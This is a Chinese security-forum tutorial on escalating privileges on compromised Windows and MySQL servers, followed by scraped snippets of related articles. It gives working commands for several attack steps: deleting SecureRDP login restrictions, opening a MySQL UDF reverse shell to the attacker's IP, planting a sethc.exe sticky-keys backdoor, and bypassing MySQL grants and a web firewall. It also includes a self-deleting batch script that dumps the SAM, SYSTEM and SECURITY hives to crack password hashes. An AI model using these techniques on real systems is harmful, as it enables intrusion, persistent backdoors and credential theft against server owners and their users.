对症下药 – 疑难杂症之提权技术

社区：i春秋

时间：2016年8月13日14.00

作者：Binghe

前言

经常会有一些基友求提权，那么其实提权的手法也就那些，主要是细心和耐心，我记得‘七百斤的猴子’大表哥他整理过大概的提权技术，虽不是很全面，但很详细。

本文简介

渗透测试的环境千变万化，经常或遇到各种瓶颈，那么小编今天就自己的经验，来说说如何治疗那些提权中的疑难杂症。

目录

个人经验有限，暂时只列举下文例子

  • 0x01 安全软件限制远程连接
  • 0x02 udf之cmdshell执行出错
  • 0x03 黑阔来过并做了服务器权限
  • 0x04 os-shell无回显状态
  • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash
  • 0x06 杀软防护一全套 毫无头绪
  • 0x07 提权虚拟主机但本站不支持aspx

正文

来，骚年，先喝下这罐82年的珍藏版乐事，变身老中医，专治各种疑难杂症

  • 0x01 安全软件限制远程连接

连接终端服务经常遇到这样的情况

此为SecureRDP软件的限制策略，国内有些主机商用的较多。经分析可知软件通过修改注册表键值来限制用户登录，于是乎解决办法不言而喻。

#读取注册表值：

reg query "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter" /v tsdata

#备份导出注册表项：

regedit /e d:\freehost\jiqiren\web\Editor\js\wts.reg "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter"

#删除注册表项：

reg delete "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter" /va /f

再连接 ok

  • 0x02 udf之cmdshell执行出错

udf提权，创建cmdshell函数成功，

select * from mysql.func;

存在cmdshell

执行cmd出现错误，原因不明，但已经研究出解决办法

udf不只有cmdshell一个函数：

  • 1:用Backshell

create function backshell returns string soname ‘udf.dll‘;

本地监听

nc.exe -l -p -vv 51

远程反弹

select backshell(‘yourip‘,51);
  • 2:用downloader函数下载木马或者什么东西到启动项

这个不必多言

  • 3:用regwrite来劫持sethc

创建函数

Create Function regwrite returns string soname ‘udf.dll‘;

劫持sethc

select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe”,”debugger”,”REG_SZ”,”C:\\recycler\\cmd.exe”);

登录界面5次shift弹出cmd

  • 0x03 黑阔来过并做了服务器权限

亲身经历：getshell后各种提不下

忽然发现有黑阔安装了伪装的后门

既有shell，c:\windows\system32\  目录虽不可上传修改，但可访问，当然可以下载，shift后门的原理我们都知道是替换的system32目录的sethc.exe

于是乎下载sethc，OD爆菊之

原来是他，军师黑阔，别来无恙乎？

  • 0x04  os-shell无回显状态

亲身经历：无回显且命令执行不成功，菜刀可执行但权限不够且无法溢出

无回显状态下上图选项输入no ，虽然无回显但命令已经运行

  • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash

解决办法：

本地搭建mysql，先停止本地mysql服务

将下载的user.MYDuser.frm   user.MYI替换本地文件，然后

cd mysqlbin

mysqld-nt –skip-grant-tables

重新打开一个cmd


1

2

mysql -u root

select user,password from mysql.user;

  • 0x06 提权虚拟主机但本站不支持aspx

虚拟主机一般别妄想通过asp或php调用wscript.shell组件，但是.net可以直接执行cmd

虚拟主机支持各种脚本，但我们拿到的shell不支持aspx

解决办法：

先备份根目录web.config  在全部替换成这样


1

2

3

4

5

<configuration>

      <system.web>

            <customErrors mode=”Off”/>

      </system.web>

</configuration>

再试试   看来是行了 但是有狗

包含可以过

<!–#include file=”4.aspx” –>

于是可以执行命令

  • 0x07 杀软防护一全套 毫无头绪

system权限了 由于各种防护提不下服务器的情况很多

有时候我们想到getpass和mimikatz之类的工具来读明文

但仍有 360 安全狗之类的 各种阻止

解决方案：导出注册表破解hash

写个批处理导出sam


1

2

3

4

5

@echo off

reg save hklm\sam sam.hive

reg save hklm\system system.hive

reg save hklm\security security.hive

del %0

这个不会有杀软拦截

webshell下执行批处理，这便在批处理的目录生成了三个文件

然后我们使用CAIN打开保存到的system.hive和security.hive两个文件。

加载后我们可以看到一些信息，这些信息可能会有明文密码，我这里是没有的。

如果没有我们就需要抓HASH了。点击CAIN的Cracker选项卡，加载sam.hive文件。

使用cain破解方式，确实是可以的，但是需要自己用彩虹表，就比较麻烦了，还是让在线的网站跑hash吧。关于hash注入，在取得hash的时候使用wce-s这个命令，一般情况这个hash都可以破解，超过14位的话就比较麻烦了。空密码的开头是AAD这个就不用破解了。密文类型是NTLM，推荐在线解密的网站：

http://www.objectif-securite.ch/ophcrack.php

http://www.cmd5.com/

结语：

实际情况千变万化，哪里有真正的总结。兵来将挡，水来土掩，如有问题可发到论坛讨论。

来自：http://bbs.ichunqiu.com/thread-10038-1-1.html

时间： 2024-10-13 23:33:11

对症下药 – 疑难杂症之提权技术的相关文章

疑难杂症----udf提权无法导出.dll

昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件,提示: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement. 因为一些版本的mysql对通过文件导入导出作了限制,默认不允许, 查看配置,执行mysql命

[技术分享]借用UAC完成的提权思路分享

借用UAC完成的提权思路分享 背景 UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码. 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限.如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程. 提权过程概述 首先我们找到目标程序,查找其动态加

2017-2018-2 20155315《网络对抗技术》免考五：Windows提权

原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒绝.为了获得受害机器的完全权限,需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病毒. Metasploit有很多种后渗透方法,可以用于对目标机器的权限绕过,最终获取到系统权限. UAC 用户帐户控制(User Account Control, U

提权笔记本

/* 转载请注明出处 ID:珍惜少年时 */ 21------------FTP //找到其FTP目录,破解其密码搜索,提之 22------------linux终端 23------------telnet //可以爆破,然后dos连接之,连接后添加用户开启终端端口,然后宣告拿下! 1433----------mssql提权 //需要找到sa密码,一般存在于web.config文件中,uid pwd sa为关键字,找到该文件后Ctrl+f搜索关键字提之 3306----------mysql

Linux提权：从入门到放弃

日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面.Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置.一下是我总结的一些提权方法. 几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏洞是我们几乎最先想到的提权方法.通杀的内核漏洞是十分少见的,因而我们应该先对系统相关

【实战】一次艰难的入侵提权，成功拿下服务器

前言:这是在51CTO的第10篇文章,给大家来点给力的哈~这次的入侵检测在提权反弹连接上遇到了很多问题,让窝娓娓道来. Let's Go! 一,对目标网站的信息收集. http://www.XXXXX.cn  IP:122.225.XX.XXX [浙江省嘉兴市 电信] Server OS : Microsoft Windows NT 5.2.3790 Service Pack 2(xp || win server 03 sp1 or sp2)        Server Software : M

震惊！WIN2003存在后门大全,提权成功率高

从某种意义上说,服务器被攻击是不可避免的,甚至被控制也情有可原.但绝对不能容忍的是,服务器被植入后门,攻击者如入无人之境,而管理者去浑然不觉.本文将对当前比较流行的后门技术进行解析,知己知彼方能杜绝后门. 1.放大镜后门 放大镜(magnify.exe)是Windows 2000/XP/2003系统集成的一个小工具,它是为方便视力障碍用户而设计的.在用户登录系统前可以通过"Win+U"组合键调用该工具,因此攻击者就用精心构造的magnify.exe同名文件替换放大镜程序,从而达到控制服

最全的服务器提权

最全的WEBSHELLc: d: e:..... -------------------------------------------------------------------C:\Documents and Settings\All Users\「开始」菜单\程序\ 看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径, C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\

【安全牛学习笔记】利用配置不当提权

┃利用漏洞提权 ┃Ubuntu11.10 ┃http://old-releases.ubuntu.com/releases/11.10/ ┃gcc ┃sudo apt-cdrom add && sudo apt-get install gcc ┃gcc 18411.c -o exp ┃CVE-2012-0056 ┃/proc/pid/mem ┃kernels >=2.6.39 ┃http://blog.zx2c4.com/749 [email protected]:~# search